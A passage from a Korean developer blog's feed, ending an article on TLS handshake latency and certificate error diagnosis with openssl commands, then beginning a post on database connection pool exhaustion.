&lt;p&gt;대칭키는 빠르지만 &quot;그 키를 어떻게 상대에게 안전하게 주느냐&quot;가 문제입니다. 그래서 &lt;strong&gt;키를 넘기는 그 한 번만 비대칭키를 씁니다.&lt;/strong&gt; 공개키로 잠근 것은 개인키로만 열리니, 중간에서 가로채도 못 엽니다.&lt;/p&gt;
&lt;p&gt;키가 넘어간 다음부터는 전부 빠른 대칭키입니다. &lt;strong&gt;비싼 계산은 첫 연결에만 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왕복이 곧 첫 응답 지연이다&lt;/h2&gt;
&lt;p&gt;핸드셰이크를 &quot;보안 절차&quot;로만 보면 성능과 무관해 보이지만, 실제로는 &lt;strong&gt;지연 시간의 문제&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;RTT(왕복 시간) 50ms인 환경을 기준으로 하면 이렇게 됩니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;연결에 필요한 왕복&lt;/th&gt;
&lt;th&gt;첫 요청까지&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;1회 (TCP만)&lt;/td&gt;
&lt;td&gt;50ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTTPS · TLS 1.2&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3회&lt;/strong&gt; (TCP 1 + TLS 2)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;150ms&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTTPS · TLS 1.3&lt;/td&gt;
&lt;td&gt;2회 (TCP 1 + TLS 1)&lt;/td&gt;
&lt;td&gt;100ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;재연결 (세션 재개)&lt;/td&gt;
&lt;td&gt;1회&lt;/td&gt;
&lt;td&gt;50ms&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;RTT가 커질수록 차이는 그대로 커집니다. 해외 리전에 붙어 RTT가 200ms라면 TLS 1.2에서는 첫 요청까지 &lt;strong&gt;600ms&lt;/strong&gt;를 그냥 씁니다.&lt;/p&gt;
&lt;p&gt;그래서 첫 연결을 줄이는 방법들이 있습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TLS 1.3&lt;/strong&gt; — 협상 왕복을 2회에서 1회로 줄였습니다. 서버 설정에서 가장 먼저 확인할 항목입니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;세션 재개(Session Resumption)&lt;/strong&gt; — 이전에 맺은 연결의 정보를 재사용해 협상을 건너뜁니다. TLS 1.3의 0-RTT는 첫 요청을 핸드셰이크와 같이 보내기까지 합니다(단, 재전송 공격 위험이 있어 멱등한 요청에만).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;연결 재사용(Keep-Alive · HTTP/2)&lt;/strong&gt; — 핸드셰이크는 연결당 한 번입니다. 연결을 계속 쓰면 그 비용은 첫 한 번으로 끝납니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OCSP Stapling&lt;/strong&gt; — 인증서 폐기 여부를 브라우저가 따로 물어보지 않게, 서버가 미리 받아서 같이 내줍니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HSTS&lt;/strong&gt; — &lt;code class=&quot;language-text&quot;&gt;http://&lt;/code&gt;로 들어온 요청이 리다이렉트로 한 번 더 왕복하는 것을 없앱니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;인증서 오류 코드별 원인과 해결&lt;/h2&gt;
&lt;p&gt;실무에서 핸드셰이크와 부딪히는 지점은 대부분 여기입니다. &lt;strong&gt;오류 코드는 검증 3항목 중 어디서 걸렸는지를 그대로 알려줍니다.&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;오류 코드&lt;/th&gt;
&lt;th&gt;걸린 항목&lt;/th&gt;
&lt;th&gt;흔한 원인&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ERR_CERT_AUTHORITY_INVALID&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;발급기관&lt;/td&gt;
&lt;td&gt;자체 서명 인증서, 사설 CA, 중간 인증서 누락&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ERR_CERT_COMMON_NAME_INVALID&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;도메인&lt;/td&gt;
&lt;td&gt;SAN에 접속 도메인이 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ERR_CERT_DATE_INVALID&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;유효기간&lt;/td&gt;
&lt;td&gt;인증서 만료, 서버 시계 오차&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ERR_CERT_REVOKED&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;폐기 여부&lt;/td&gt;
&lt;td&gt;키 유출 등으로 CA가 폐기 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;ERR_CERT_AUTHORITY_INVALID — 발급기관을 못 믿는다&lt;/h3&gt;
&lt;p&gt;가장 자주 보는 오류입니다. 원인이 둘로 갈립니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;자체 서명 인증서를 쓴 경우&lt;/strong&gt; — 개발 환경이라면 정상입니다. 로컬 개발용 신뢰 인증서는 &lt;a href=&quot;https://github.com/FiloSottile/mkcert&quot;&gt;mkcert&lt;/a&gt; 같은 도구로 만드는 게 편합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;중간 인증서를 안 붙인 경우&lt;/strong&gt; — 이게 더 골치 아픕니다. 브라우저에서는 잘 되는데 서버 간 호출이나 모바일에서만 실패한다면 대개 이겁니다. 브라우저는 중간 인증서를 캐시해 두고 있어서 넘어가지만, 캐시가 없는 클라이언트는 체인을 잇지 못합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 체인이 제대로 붙어 있는지 확인&lt;/span&gt;
openssl s_client &lt;span class=&quot;token parameter variable&quot;&gt;-connect&lt;/span&gt; javapark.kr:443 &lt;span class=&quot;token parameter variable&quot;&gt;-servername&lt;/span&gt; javapark.kr &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-20&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;출력의 &lt;code class=&quot;language-text&quot;&gt;Certificate chain&lt;/code&gt;에 서버 인증서와 중간 인증서가 &lt;strong&gt;둘 다&lt;/strong&gt; 나와야 합니다. Nginx라면 &lt;code class=&quot;language-text&quot;&gt;ssl_certificate&lt;/code&gt;에 &lt;code class=&quot;language-text&quot;&gt;fullchain.pem&lt;/code&gt;을 지정했는지 확인하세요. &lt;code class=&quot;language-text&quot;&gt;cert.pem&lt;/code&gt;을 지정하면 이 증상이 나옵니다.&lt;/p&gt;
&lt;h3&gt;ERR_CERT_COMMON_NAME_INVALID — 도메인이 다르다&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;www.javapark.kr&lt;/code&gt;로 발급받고 &lt;code class=&quot;language-text&quot;&gt;javapark.kr&lt;/code&gt;로 접속하는 경우가 대표적입니다. 요즘 브라우저는 &lt;strong&gt;CN(Common Name)을 보지 않고 SAN만 봅니다.&lt;/strong&gt; CN에만 있고 SAN에 없으면 실패합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# SAN 목록 확인&lt;/span&gt;
openssl s_client &lt;span class=&quot;token parameter variable&quot;&gt;-connect&lt;/span&gt; javapark.kr:443 &lt;span class=&quot;token parameter variable&quot;&gt;-servername&lt;/span&gt; javapark.kr &lt;span class=&quot;token operator&quot;&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;2&lt;/span&gt;&gt;&lt;/span&gt;/dev/null &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; openssl x509 &lt;span class=&quot;token parameter variable&quot;&gt;-noout&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-text&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-A1&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Subject Alternative Name&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;와일드카드 인증서(&lt;code class=&quot;language-text&quot;&gt;*.javapark.kr&lt;/code&gt;)는 &lt;strong&gt;한 단계만&lt;/strong&gt; 커버합니다. &lt;code class=&quot;language-text&quot;&gt;a.b.javapark.kr&lt;/code&gt;은 포함되지 않습니다.&lt;/p&gt;
&lt;h3&gt;ERR_CERT_DATE_INVALID — 기간이 지났다&lt;/h3&gt;
&lt;p&gt;만료가 대부분이지만, &lt;strong&gt;클라이언트 시계가 틀린 경우도 있습니다.&lt;/strong&gt; 특정 사용자만 겪는다면 이쪽을 의심하세요.&lt;/p&gt;
&lt;p&gt;Let&apos;s Encrypt는 90일짜리라 갱신 자동화가 필수입니다. 쿠버네티스라면 &lt;a href=&quot;/ingress-cert-manager-guide/&quot;&gt;cert-manager로 자동 발급·갱신&lt;/a&gt;을 걸어두는 게 안전하고, &lt;a href=&quot;/nginx-to-traefik-migration/&quot;&gt;Traefik은 ACME 설정만으로 처리&lt;/a&gt;됩니다.&lt;/p&gt;
&lt;p&gt;만료 날짜는 이렇게 확인합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; openssl s_client &lt;span class=&quot;token parameter variable&quot;&gt;-connect&lt;/span&gt; javapark.kr:443 &lt;span class=&quot;token parameter variable&quot;&gt;-servername&lt;/span&gt; javapark.kr &lt;span class=&quot;token operator&quot;&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;2&lt;/span&gt;&gt;&lt;/span&gt;/dev/null &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; openssl x509 &lt;span class=&quot;token parameter variable&quot;&gt;-noout&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-dates&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ — 자주 묻는 질문&lt;/h2&gt;
&lt;h3&gt;Q. localhost는 인증서가 없는데 왜 카메라·클립보드 API가 되나요?&lt;/h3&gt;
&lt;p&gt;브라우저가 &lt;code class=&quot;language-text&quot;&gt;localhost&lt;/code&gt;를 &lt;strong&gt;예외적으로 Secure Context로 취급&lt;/strong&gt;하기 때문입니다. 네트워크를 타지 않아 도청 위험이 없다고 보는 겁니다. 다만 같은 코드를 사내 IP(&lt;code class=&quot;language-text&quot;&gt;http://192.168.0.10&lt;/code&gt;)에 올리면 그때부터 막힙니다. 이 주제는 &lt;a href=&quot;/secure-context-http-https/&quot;&gt;Secure Context 완전 정리&lt;/a&gt;에서 따로 다뤘습니다.&lt;/p&gt;
&lt;h3&gt;Q. HTTPS면 서버까지 완전히 안전한가요?&lt;/h3&gt;
&lt;p&gt;아니요. &lt;strong&gt;암호화 구간은 브라우저와 TLS를 종료하는 지점까지&lt;/strong&gt;입니다. 로드밸런서나 &lt;a href=&quot;/api-gateway-guide/&quot;&gt;API 게이트웨이&lt;/a&gt;에서 TLS를 종료하면, 그 뒤 내부망 구간은 설정하지 않는 한 평문입니다. 또한 서버에 도착한 데이터는 당연히 평문이라, 서버가 로그에 비밀번호를 찍으면 HTTPS는 아무 도움이 안 됩니다.&lt;/p&gt;
&lt;h3&gt;Q. 자체 서명 인증서로 운영해도 되나요?&lt;/h3&gt;
&lt;p&gt;내부 도구라도 권하지 않습니다. 경고 화면을 계속 넘기게 하면 &lt;strong&gt;사용자가 경고를 무시하는 습관&lt;/strong&gt;이 생기고, 그러면 진짜 중간자 공격이 왔을 때도 그냥 넘깁니다. 공개 도메인이 있으면 Let&apos;s Encrypt로 무료 발급이 가능하고, 내부 전용이라면 사설 CA를 만들어 그 루트를 장비에 배포하는 쪽이 맞습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;HTTPS는 HTTP를 대체한 게 아니라 &lt;strong&gt;TCP와 HTTP 사이에 TLS를 끼운 것&lt;/strong&gt;입니다&lt;/li&gt;
&lt;li&gt;순서는 &lt;strong&gt;TCP 연결 → 암호 협상 → 인증서 검증 → 키 교환&lt;/strong&gt;이고, 검증은 브라우저가 합니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;비대칭키는 대칭키를 넘길 때만&lt;/strong&gt; 씁니다. 이후 통신은 전부 대칭키입니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;왕복 횟수가 그대로 첫 응답 지연&lt;/strong&gt;입니다 — TLS 1.3과 연결 재사용이 가장 큰 레버입니다&lt;/li&gt;
&lt;li&gt;인증서 오류 코드는 &lt;strong&gt;검증 3항목 중 어디서 걸렸는지&lt;/strong&gt;를 알려줍니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;핸드셰이크를 &quot;보안 기능&quot;이 아니라 &lt;strong&gt;순서가 있는 협상&lt;/strong&gt;으로 보면, 오류 화면이 났을 때 어디를 볼지가 바로 나옵니다.&lt;/p&gt;
&lt;p&gt;응답이 돌아온 뒤의 이야기는 &lt;a href=&quot;/http-status-codes-guide/&quot;&gt;HTTP 응답 코드 정리&lt;/a&gt;에서, 그 요청이 서버 앞단에서 어떻게 갈라지는지는 &lt;a href=&quot;/api-gateway-guide/&quot;&gt;API 게이트웨이가 하는 일&lt;/a&gt;에서 이어집니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[커넥션 풀 고갈 — 멀쩡한 서버가 멈추는 진짜 이유]]></title><description><![CDATA[안녕하세요, 자바파커입니다. 서버 CPU는 20%, 메모리도 여유롭고, DB 부하도 평소와 같습니다.
그런데 응답이 안 옵니다. 그리고 잠시 뒤 로그에 이게 찍힙니다.
 결론부터 말씀드리면 — 커넥션 풀 고갈은 DB…]]></description><link>https://blog.javapark.kr/connection-pool-exhaustion/</link><guid isPermaLink="false">https://blog.javapark.kr/connection-pool-exhaustion/</guid><pubDate>Sun, 16 Aug 2026 20:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/07d3334c90ecaae28d5e2fb0caab7553/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 52.55813953488372%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB/UlEQVR42m2Sy4vTUBjFs5LpNMm9Se7NfSRpkubRJH1k0rSZtlPb0alTigwjiOiiC0ERcSXiYyUMoiL4WOhCcKX/qbcOFYXCtziL+/vO4TtXAmYKSLYZIXaNTrqY9ak1suwjbk8IHyKWwz/vJYBiYITAiABOdsKQ5jqvsD0ljeumMzfsicoHMumqAoZeZWQLPTsxWAeStoL+W6HgFNGOb/dje9BxhplTBqyTsLSBAwUnUm283huva5O12r9VHi7z6lT9J4KME0KzyM4TmgxIUJBmj3hj6nZ0oqBICu+/S55+Zw8+hQ8/PH958ejJqz0QwO0J9nFi0ZZP4h6L+yyqWFBSf8y8Elt1FErfPn79+ePXvfXjF89eX7z5XM3O92Ck0fYlXMOJS6LQ8DLTr1hzRJslboyxPUS8Lpy/XFu9v7q825u+na/uFMdXWK45fcC6f2NrpMWcDOoNrFlc45bOm2ajobNN7FF3WaSzsDVtZ8dROgfBEfAOwZYXMKKJ46Sa7ujQUhVqY5ebHtL4BpbThdy7CYa35f65Wax4sdrw7hBYuShfnBSgEEJX1T1g+DXNQ6ipaN4+dBUUS5C2ofDxR7A1h50bIDsB0WxjbhcCVnEqo5bwvxyxq74VohTJcEsUjIx4htoLPjizBmesdwq8CtgHO7+dKMKwesg+EOI3e3Jd2nYbtngAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/07d3334c90ecaae28d5e2fb0caab7553/a1b3b/thumbnail.webp 215w,
/static/07d3334c90ecaae28d5e2fb0caab7553/fc700/thumbnail.webp 430w,
/static/07d3334c90ecaae28d5e2fb0caab7553/521f7/thumbnail.webp 860w,
/static/07d3334c90ecaae28d5e2fb0caab7553/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/07d3334c90ecaae28d5e2fb0caab7553/f7886/thumbnail.png 215w,
/static/07d3334c90ecaae28d5e2fb0caab7553/bc750/thumbnail.png 430w,
/static/07d3334c90ecaae28d5e2fb0caab7553/3e3fe/thumbnail.png 860w,
/static/07d3334c90ecaae28d5e2fb0caab7553/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/07d3334c90ecaae28d5e2fb0caab7553/3e3fe/thumbnail.png&apos; alt=&apos;커넥션 풀 고갈 커버 — 풀 슬롯 10개가 모두 점유되고 요청이 대기하는 구조&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;커넥션 풀 고갈 커버 — 풀 슬롯 10개가 모두 점유되고 요청이 대기하는 구조&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;서버 CPU는 20%, 메모리도 여유롭고, DB 부하도 평소와 같습니다.
그런데 응답이 안 옵니다. 그리고 잠시 뒤 로그에 이게 찍힙니다.
&lt;code class=&quot;language-text&quot;&gt;Connection is not available, request timed out after 30000ms&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;커넥션 풀 고갈은 DB가 느려서 생기는 문제가 아닙니다.&lt;/strong&gt; 대부분은 애플리케이션이 커넥션을 &lt;strong&gt;필요 이상으로 오래 붙잡고 있어서&lt;/strong&gt; 생깁니다. 그래서 DB 지표를 아무리 봐도 원인이 안 보입니다.&lt;/p&gt;
&lt;p&gt;풀 10칸이 차고 대기가 쌓이는 동안 DB는 CPU 18%로 한가한 장면을 &lt;strong&gt;46초 영상&lt;/strong&gt;으로도 정리했습니다. 원인이 되는 코드 한 줄이 화면에 계속 떠 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/yRkIM3VaQpo&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 116.27906976744187%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAXCAIAAACEf/j0AAAACXBIWXMAAAAAAAAAAAHqZRakAAAD70lEQVR42lWUWYvcRhCA5WQOtdT33bpaammk1czs7szGXpu1c+CEQLBjGzYxcQIOgfghkPf456dnTYwDH0Jd6OsqVbWUUNHP+ye2PCd8I9TExIaJQYhe8E4yL1mjWKVIUZm+tqHWbak8gxKlOJIwPT355mXTfgHZBvGRqQmLDREhbsFFULxWrDSsCH7X+Z1vznw1ciRJigggSZBDL6fR7C7Li0fhwSjPrt32kZtuqvObYns0w4Ni3PLmwKuHorwW7j63AUsCEAUo2evhujse68vH9fnL/c1Bja+q+bU/+6WZXlebJ2546qcjdV+r+rbwPxX+hav2VDJAecwsRFe42dlt6XZKjpoPmodII7tatBWrK1oFHQYTgmobXnruKixURmRGEyy6obnoq70qdtbOvd4YGbQIGx161VlWdbI5lJvehWDbc+MnWZVYGUB0lAltntfT27CDtLm0m3/m4/1io4X/tZtfNJOi5WMX3o/7o6p6Zt9v5rd+0JAXGTM5TRCtL1x/cANkMdy/audYsOL+UQyaztByr5pn9TDKMnD3xvdf2aZE4k5mCSTVd9X4rJkArQcV/uh3O9NpVv3Zb1/HGknxwLR/9Wd7WXbM/t4Ot3WwUJQZPcmIFl+Vw5flkNN61N27YbfVbZztu37++SS7a9O+8eM2Zmb27366bYK9y2xj2SnU61ytMrnKNYAG4QIhS7E1pNDEKmztCW2RLJCMBZ9MKOwpM00yWpj6zDaz8zPTbY4doSWhzrLS8UJRp6m1cTyyrERZy7JRtY3d/jAqqv3Tb59//8Ptjy9/G6ZjlitOnaBWUnvSWCwhTsyfj5dz2G7Dbj9eWmYEICLKq1zdS/m9FUmWeJGJFOkU2RQZhDTBJziWmGgIRTzSEYakyDkH+HQ8veluur3G7sp4jGySirkYJtPdAxzkKs/1OpOPw/7KhXWmIDQ5tDjjFEACcGKgvBJFbMl9VeFcfQZkg01H7SKTaS7yXKWZPIjyoapSIPIsIqOMAUHxbMc+r3ENcLWARY5LkMkFEAvA46MfyOIyZQugGffKBKFamHG4xtkaJ4SIOdiNN1NrfGlWa7Y+OfKjHO9BJuKmOTQQ2UgWt16iSJJBNdR77QbXTHUzmHLDZBP91f+5i/BlylYpT1O6WuarJUwg4IUei2or9KCrS1dfhHChZYUygXMZIVCJeBZEY2TDiYvLKC+W2WKZJy1Su2Kch+vZH3bh6qI/bIu+Izb8R0/dLGNtPn6PZzL+hEoI2OeLO3kNOKYFEh1WgzQtF/Xy7rU/Jc3U+tR2leZqDeTqY+YUMJCL1QpHlidIjKTpJwCe5bFbKl4zKAHgqzWOZuRf6XWFDyle2tQAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/0220f4a6ec271fcab68b162eaecb665e/a1b3b/video-thumb.webp 215w,
/static/0220f4a6ec271fcab68b162eaecb665e/fc700/video-thumb.webp 430w,
/static/0220f4a6ec271fcab68b162eaecb665e/521f7/video-thumb.webp 860w,
/static/0220f4a6ec271fcab68b162eaecb665e/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/0220f4a6ec271fcab68b162eaecb665e/f7886/video-thumb.png 215w,
/static/0220f4a6ec271fcab68b162eaecb665e/bc750/video-thumb.png 430w,
/static/0220f4a6ec271fcab68b162eaecb665e/3e3fe/video-thumb.png 860w,
/static/0220f4a6ec271fcab68b162eaecb665e/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/0220f4a6ec271fcab68b162eaecb665e/3e3fe/video-thumb.png&apos; alt=&apos;커넥션 풀 고갈 영상 — 풀 10칸이 전부 점유되고 74개가 대기 중인데 DB는 CPU 18%로 한가한 화면&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;커넥션 풀 고갈 영상 — 풀 10칸이 전부 점유되고 74개가 대기 중인데 DB는 CPU 18%로 한가한 화면&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;커넥션 풀은 왜 있나&lt;/h2&gt;
&lt;p&gt;DB 연결 하나를 새로 만드는 데는 생각보다 큰 비용이 듭니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단계&lt;/th&gt;
&lt;th&gt;하는 일&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;TCP 핸드셰이크&lt;/td&gt;
&lt;td&gt;3-way handshake&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;인증&lt;/td&gt;
&lt;td&gt;계정·비밀번호 검증&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;세션 초기화&lt;/td&gt;
&lt;td&gt;문자셋, 타임존, 격리 수준 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;합치면 수십 ms입니다. 요청 하나가 10ms 만에 끝나는 API라면 &lt;strong&gt;연결 비용이 본 작업보다 큽니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;그래서 미리 연결을 몇 개 만들어 두고 돌려 씁니다. 이게 커넥션 풀입니다. Java 진영에서는 &lt;strong&gt;HikariCP&lt;/strong&gt;가 사실상 표준이고, Spring Boot 기본값도 이것입니다.&lt;/p&gt;
&lt;p&gt;여기서 중요한 성질이 하나 나옵니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;풀 크기 = 동시에 DB 작업을 할 수 있는 최대 개수&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;maximumPoolSize&lt;/code&gt;가 10이면, 11번째 요청은 무조건 기다립니다. 서버 스레드가 200개든 500개든 상관없습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;고갈은 이렇게 일어난다&lt;/h2&gt;
&lt;p&gt;풀이 10개인 서버에서 순서대로 벌어지는 일입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;상태&lt;/th&gt;
&lt;th&gt;활성&lt;/th&gt;
&lt;th&gt;대기&lt;/th&gt;
&lt;th&gt;겉으로 보이는 증상&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;평상시&lt;/td&gt;
&lt;td&gt;3 / 10&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;정상. 응답 40ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;트래픽 증가&lt;/td&gt;
&lt;td&gt;10 / 10&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;아직 정상. 응답 조금 느려짐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;대기 발생&lt;/td&gt;
&lt;td&gt;10 / 10&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;응답이 갑자기 초 단위로 뜀&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;고갈&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;10 / 10&lt;/td&gt;
&lt;td&gt;80+&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;타임아웃 예외&lt;/strong&gt;, 사실상 장애&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
